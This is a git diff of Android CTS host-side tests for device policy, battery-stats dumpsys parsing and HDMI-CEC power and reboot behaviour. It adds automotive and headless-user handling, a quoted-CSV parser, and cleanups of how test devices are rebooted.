diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
index f15f56c..39f0abd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -111,6 +111,11 @@
         executeShellCommand("setprop %s '%s'", PROPERTY_STOP_BG_USERS_ON_SWITCH, value);
     }
 
+    protected boolean isPackageInstalledForUser(String packageName, int userId) throws Exception {
+        String result = executeShellCommand("pm list packages --user %d %s", userId, packageName);
+        return result != null && !result.isEmpty();
+    }
+
     private void executeDeviceOwnerPackageTestMethod(String className, String testName,
             int userId) throws Exception {
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 994fe8a..b0fb7a1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -76,6 +76,7 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
 
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
     private static final String FEATURE_CAMERA = "android.hardware.camera";
     private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
@@ -83,7 +84,6 @@
     private static final String FEATURE_LEANBACK = "android.software.leanback";
     private static final String FEATURE_NFC = "android.hardware.nfc";
     private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
-
     private static final String FEATURE_PRINT = "android.software.print";
     private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
     private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
@@ -1260,9 +1260,15 @@
         allowTestApiAccess(deviceAdminPkg);
     }
 
-    protected void allowTestApiAccess(String deviceAdminPkg) throws Exception {
-        CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", deviceAdminPkg);
-        executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", deviceAdminPkg);
+    /**
+     * Grants access to APIs marked as {@code @TestApi}.
+     *
+     * <p><b>Note:</b> the {@code application} tag of the app's manifest must contain
+     * {@code android:debuggable="true"}, otherwise it won't work on {@code user} builds.
+     */
+    protected void allowTestApiAccess(String pgkName) throws Exception {
+        CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", pgkName);
+        executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", pgkName);
     }
 
     protected void grantPermission(String pkg, String permission, int userId, String reason)
@@ -1341,6 +1347,10 @@
         return hasDeviceFeature(FEATURE_LEANBACK);
     }
 
+    boolean isAutomotive() throws DeviceNotAvailableException {
+        return hasDeviceFeature(FEATURE_AUTOMOTIVE);
+    }
+
     void pushUpdateFileToDevice(String fileName)
             throws IOException, DeviceNotAvailableException {
         File file = File.createTempFile(
@@ -1366,7 +1376,7 @@
     }
 
     void sleep(int timeMs) throws InterruptedException {
-        CLog.d("Sleeping %d ms");
+        CLog.d("Sleeping %d ms", timeMs);
         Thread.sleep(timeMs);
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 3044ca4..091da10 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -475,10 +475,12 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageLogged() throws Exception {
+        int userId = getUserIdForAlwaysOnVpnTests();
         // Will be uninstalled in tearDown().
-        installAppAsUser(VPN_APP_APK, mUserId);
+        installAppAsUser(VPN_APP_APK, userId);
         assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+                    userId);
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_ALWAYS_ON_VPN_PACKAGE_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings(VPN_APP_PKG)
@@ -556,6 +558,10 @@
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
         installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
+
+        if (isHeadlessSystemUserMode()) {
+            installAppAsUser(SIMPLE_PRE_M_APP_APK, mDeviceOwnerUserId);
+        }
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
     }
 
@@ -607,65 +613,11 @@
 
     @Test
     public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception {
+        // Needed to access dpm.getPolicyExemptApps()
+        allowTestApiAccess(DEVICE_ADMIN_PKG);
         executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
     }
 
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
-            executeAccountTest("testAddAccount_blocked");
-        } finally {
-            // Ensure we clear the user restriction
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
-        }
-        executeAccountTest("testAddAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
-            executeAccountTest("testRemoveAccount_blocked");
-        } finally {
-            // Ensure we clear the user restriction
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
-        }
-        executeAccountTest("testRemoveAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_disabledAddAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-            executeAccountTest("testAddAccount_blocked");
-        } finally {
-            // Ensure we remove account management policies
-            changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-        }
-        executeAccountTest("testAddAccount_allowed");
-    }
-
-    // TODO(b/197491427): AccountManager support in TestApp
-    @Test
-    public void testAccountManagement_disabledRemoveAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-            executeAccountTest("testRemoveAccount_blocked");
-        } finally {
-            // Ensure we remove account management policies
-            changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-        }
-        executeAccountTest("testRemoveAccount_allowed");
-    }
-
     @Test
     public void testDelegatedCertInstaller() throws Exception {
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
@@ -865,6 +817,10 @@
         final String SECURE_SETTING_CATEGORY = "secure";
         final String GLOBAL_SETTING_CATEGORY = "global";
         final File apk = mBuildHelper.getTestFile(TEST_APP_APK);
+
+        // Needed to access dpm.getPolicyExemptApps()
+        allowTestApiAccess(DEVICE_ADMIN_PKG);
+
         try {
             // Install the test and prepare the test apk.
             installAppAsUser(PACKAGE_INSTALLER_APK, mUserId);
@@ -1229,6 +1185,8 @@
         executeDeviceTestClass(".KeyManagementTest");
     }
 
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testInstallKeyPairLogged() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
@@ -1270,8 +1228,6 @@
 
     }
 
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
-            reason = "Will be migrated to new test infra")
     @Test
     public void testSetKeyPairCertificateLogged() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
@@ -1335,6 +1291,16 @@
 
     @Test
     public void testPasswordMethodsLogged() throws Exception {
+        if (isAutomotive()) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+                    .setAdminPackageName(DEVICE_ADMIN_PKG)
+                    .setInt(0x50000)
+                    .setBoolean(false)
+                    .build());
+            return;
+        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1772,7 +1738,12 @@
 
     protected void installAppPermissionAppAsUser()
             throws FileNotFoundException, DeviceNotAvailableException {
-        installAppAsUser(PERMISSIONS_APP_APK, false, mUserId);
+        installAppPermissionAppAsUser(mUserId);
+    }
+
+    protected final void installAppPermissionAppAsUser(int userId)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        installAppAsUser(PERMISSIONS_APP_APK, false, userId);
     }
 
     private void executeSuspendPackageTestMethod(String testName) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 17c2d48..bf7186d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -332,6 +332,53 @@
         executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
     }
 
+    @Test
+    public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+        assumeCanStartNewUser();
+
+        // TODO(b/217367529) - we need to grant INTERACT_ACROSS_USERS to the test app in the new
+        // user, so the test is retrying until it gets it, which is done in this thread - not the
+        // best approach, but given that the test cases are being migrated to the new infra,
+        // it's good enough enough...
+        int waitingTimeMs = 5_000;
+        final int maxAttempts = 10;
+        new Thread(() -> {
+            int attempt = 0;
+            boolean granted = false;
+            while (!granted && ++attempt <= maxAttempts) {
+                try {
+                    List<Integer> newUsers = getUsersCreatedByTests();
+                    if (!newUsers.isEmpty()) {
+                        for (int userId : newUsers) {
+                            CLog.i("Checking if user %d is current user", userId);
+                            int currentUser = getCurrentUser();
+                            if (currentUser != userId) continue;
+                            CLog.i("Checking if user %d has the package", userId);
+                            if (!isPackageInstalledForUser(DEVICE_OWNER_PKG, userId)) continue;
+                            grantPermission(DEVICE_OWNER_PKG, PERMISSION_INTERACT_ACROSS_USERS,
+                                    userId, "to call isNewUserDisclaimerAcknowledged() and "
+                                    + "acknowledgeNewUserDisclaimer()");
+                            granted = true;
+                        }
+                    }
+
+                    if (!granted) {
+                        CLog.i("Waiting %dms until new user is switched and package installed "
+                                + "to grant INTERACT_ACROSS_USERS", waitingTimeMs);
+                    }
+                    sleep(waitingTimeMs);
+                } catch (Exception e) {
+                    CLog.e(e);
+                    return;
+                }
+            }
+            CLog.i("%s says: Good Bye, and thanks for all the fish! BTW, granted=%b in %d attempts",
+                    Thread.currentThread(), granted, attempt);
+        }, "testCreateAndManageUser_newUserDisclaimer_Thread").start();
+
+        executeCreateAndManageUserTest("testCreateAndManageUser_newUserDisclaimer");
+    }
+
     @FlakyTest(bugId = 126955083)
     @Test
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
@@ -832,7 +879,7 @@
     }
 
     @Test
-    @Ignore("b/204508654")
+    @Ignore("b/230738884")
     public void testSetUserControlDisabledPackages_multiUser_reboot_verifyPackageNotStopped()
             throws Exception {
         assumeCanCreateAdditionalUsers(1);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 75af1c8..5132bf2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -35,6 +35,7 @@
 import org.junit.Ignore;
 import org.junit.Test;
 
+import java.io.FileNotFoundException;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
@@ -88,6 +89,16 @@
         super.tearDown();
     }
 
+    @Override
+    protected void installAppPermissionAppAsUser()
+            throws FileNotFoundException, DeviceNotAvailableException {
+        super.installAppPermissionAppAsUser();
+
+        if (isHeadlessSystemUserMode()) {
+            installAppPermissionAppAsUser(mDeviceOwnerUserId);
+        }
+    }
+
     @Test
     public void testLockTask_unaffiliatedUser() throws Exception {
         assumeCanCreateAdditionalUsers(1);
@@ -107,6 +118,24 @@
                 userId);
     }
 
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    public void testDelegation() throws Exception {
+        super.testDelegation();
+    }
+
+    @Override
+    @Test
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    public void testDelegationCertSelection() throws Exception {
+        super.testDelegationCertSelection();
+    }
+
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         setUpDelegatedCertInstallerAndRunTests(() ->
@@ -115,6 +144,13 @@
                         "testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
     }
 
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+            reason = "Will be migrated to new test infra")
+    @Override
+    public void testDelegatedCertInstaller() throws Exception {
+        super.testDelegatedCertInstaller();
+    }
+
     @FlakyTest(bugId = 141161038)
     @Override
     @Test
@@ -140,22 +176,6 @@
         executeDeviceTestClass(".AdminConfiguredNetworksTest");
     }
 
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
-            reason = "Will be migrated to new test infra")
-    public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        super.testAccountManagement_userRestrictionAddAccount();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
-            reason = "Will be migrated to new test infra")
-    public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        super.testAccountManagement_userRestrictionRemoveAccount();
-    }
-
     @Test
     public void testSetTime() throws Exception {
         assertMetricsLogged(getDevice(), () -> {
@@ -443,6 +463,15 @@
     public void testPermissionPrompts() throws Exception {
     }
 
+
+    @Override
+    @LargeTest
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI")
+    public void testPackageInstallUserRestrictions() throws Exception {
+        super.testPackageInstallUserRestrictions();
+    }
+
     @Override
     @Test
     @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
@@ -501,52 +530,48 @@
 
     @Override
     @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testKeyManagement() throws Exception {
-        super.testKeyManagement();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testGenerateKeyPairLogged() throws Exception {
-        super.testGenerateKeyPairLogged();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testDelegatedCertInstallerDirectly() throws Exception {
-        super.testDelegatedCertInstallerDirectly();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testSetKeyGrant() throws Exception {
-        super.testSetKeyGrant();
-    }
-
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
-            + "makes sense as keys generated by DO wouldn't match keys checked by PO")
-    public void testSetKeyPairCertificateLogged() throws Exception {
-        super.testSetKeyPairCertificateLogged();
-    }
-
-    @Override
-    @Test
     @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials")
     public void testSetKeyguardDisabledFeatures() throws Exception {
         super.testSetKeyguardDisabledFeatures();
     }
 
     @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionAppUpdate() throws Exception {
+        super.testPermissionAppUpdate();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionMixedPolicies() throws Exception {
+        super.testPermissionMixedPolicies();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionPolicy() throws Exception {
+        super.testPermissionPolicy();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+        super.testAutoGrantMultiplePermissionsInGroup();
+    }
+
+    @Override
+    @Test
+    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+    public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+            throws Exception {
+        super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
+    }
+
+    @Override
     public void testApplicationHidden() throws Exception {
         if (isHeadlessSystemUserMode()) {
             // Must run on user 0 because the test has a broadcast receiver that listen to packages
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 11f24fa..d6ac485 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -25,6 +25,7 @@
 import java.io.File;
 import java.io.IOException;
 import java.io.StringReader;
+import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.Set;
 
@@ -36,6 +37,41 @@
     private static final String TEST_PKG = "com.android.cts.framestatstestapp";
 
     /**
+     * Parse each line from output of dumpsys to handle special fields such as
+     * 'aaa,"bbb,ccc",ddd', to capture properly.
+     */
+    private static String[] parseCsv(String line) {
+        ArrayList<String> parts = new ArrayList<>();
+        String[] splitStrings = line.split(",", -1);
+        String s = "";
+        boolean escaping = false;
+        for (String splitString : splitStrings) {
+            if (escaping) {
+                s += "," + splitString;
+            } else {
+                if (splitString.startsWith("\"")) {
+                    // Field start with ". Start escaping.
+                    s = splitString;
+                    escaping = true;
+                } else {
+                    parts.add(splitString);
+                }
+            }
+            if (escaping && s.length() > 1 && s.endsWith("\"")) {
+                // Field end with ". Stop escaping.
+                parts.add(s.substring(1, s.length() - 1));
+                escaping = false;
+            }
+        }
+        if (escaping) {
+            // Unclosed escaping string. Add it anyway.
+            parts.add(s.substring(1));
+        }
+
+        return parts.toArray(new String[parts.size()]);
+    }
+
+    /**
      * Tests the output of "dumpsys batterystats --checkin".
      *
      * @throws Exception
@@ -58,11 +94,7 @@
 
 
                 try {
-                    // With a default limit of 0, empty strings at the end are discarded.
-                    // We still consider the empty string as a valid value in some cases.
-                    // Using any negative number for the limit will preserve a trailing empty string.
-                    // @see String#split(String, int)
-                    String[] parts = line.split(",", -1);
+                    String[] parts = parseCsv(line);
                     assertInteger(parts[0]); // old version
                     assertInteger(parts[1]); // UID
                     switch (parts[2]) { // aggregation type
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 6c251a2..f237edb 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -64,8 +64,7 @@
     @Test
     public void cect_10_2_5_1_RebootLogicalAddress() throws Exception {
         ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        device.reboot();
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
         assertThat(CecMessage.getSource(message)).isEqualTo(AUDIO_DEVICE);
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index d6da4c3..93d8100 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -20,7 +20,6 @@
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecConstants;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -70,8 +69,7 @@
                         CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
         allowedMessages.addAll(expectedMessages);
 
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        device.reboot();
         /* Monitor CEC messages for 20s after reboot */
         final List<CecOperand> messagesReceived =
                 hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
@@ -108,8 +106,7 @@
         List<CecOperand> expectedMessages = Arrays.asList(CecOperand.REPORT_PHYSICAL_ADDRESS,
                 CecOperand.REPORT_FEATURES);
 
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        device.reboot();
         /* Monitor CEC messages for 20s after reboot */
         final List<CecOperand> messagesReceived =
                 hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
index 125b1e3..fc5226e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -43,7 +43,7 @@
     private static final int ON = 0x0;
     private static final int OFF = 0x1;
 
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+    private static final int DUT_DEVICE_TYPE = HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE;
 
     @Rule
     public RuleChain ruleChain =
@@ -55,7 +55,7 @@
                     .around(hdmiCecClient);
 
     public HdmiCecTvPowerToggleTest() {
-        super(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+        super(DUT_DEVICE_TYPE);
     }
 
     /**
@@ -65,6 +65,7 @@
     @Test
     public void cectTvPowerToggleTest_awake_noActiveSource_tvOn() throws Exception {
         ITestDevice device = getDevice();
+        LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
         // Make sure the device is not booting up/in standby
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
         String previousPowerControlMode =
@@ -72,7 +73,7 @@
         String previousPowerStateChange = setPowerStateChangeOnActiveSourceLost(
                 HdmiCecConstants.POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST_NONE);
         try {
-            simulateCecSinkConnected(device, PLAYBACK_DEVICE);
+            simulateCecSinkConnected(device, dutLogicalAddress);
             hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
                     CecOperand.ACTIVE_SOURCE, CecMessage.formatParams("0000"));
             TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
@@ -80,7 +81,7 @@
             WakeLockHelper.acquirePartialWakeLock(device);
             device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
                     CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
             // Verify that device is asleep and <Standby> was sent to TV.
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
@@ -99,19 +100,20 @@
     @Test
     public void cectTvPowerToggleTest_awake_activeSource_tvOn() throws Exception {
         ITestDevice device = getDevice();
+        LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
         // Make sure the device is not booting up/in standby
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
         String previousPowerControlMode =
                 setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
         try {
-            simulateCecSinkConnected(device, PLAYBACK_DEVICE);
+            simulateCecSinkConnected(device, dutLogicalAddress);
             device.executeShellCommand("input keyevent KEYCODE_HOME");
             TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
             hdmiCecClient.clearClientOutput();
             WakeLockHelper.acquirePartialWakeLock(device);
             device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
                     CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
             // Verify that device is asleep and <Standby> was sent to TV.
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
@@ -129,18 +131,19 @@
     @Test
     public void cectTvPowerToggleTest_asleep_tvOn() throws Exception {
         ITestDevice device = getDevice();
+        LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
         // Make sure the device is not booting up/in standby
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
         String previousPowerControlMode =
                 setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
         try {
-            simulateCecSinkConnected(device, PLAYBACK_DEVICE);
+            simulateCecSinkConnected(device, dutLogicalAddress);
             sendDeviceToSleep();
             TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
             hdmiCecClient.clearClientOutput();
             device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
                     CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
             // Verify that device is asleep and <Standby> was sent to TV.
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
@@ -158,18 +161,19 @@
     @Test
     public void cectTvPowerToggleTest_asleep_tvOff() throws Exception {
         ITestDevice device = getDevice();
+        LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
         // Make sure the device is not booting up/in standby
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
         String previousPowerControlMode =
                 setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
         try {
-            simulateCecSinkConnected(device, PLAYBACK_DEVICE);
+            simulateCecSinkConnected(device, dutLogicalAddress);
             sendDeviceToSleep();
             TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
             hdmiCecClient.clearClientOutput();
             device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
                     CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
             // Verify that device is awake and <Text View On> and <Active Source> were sent.
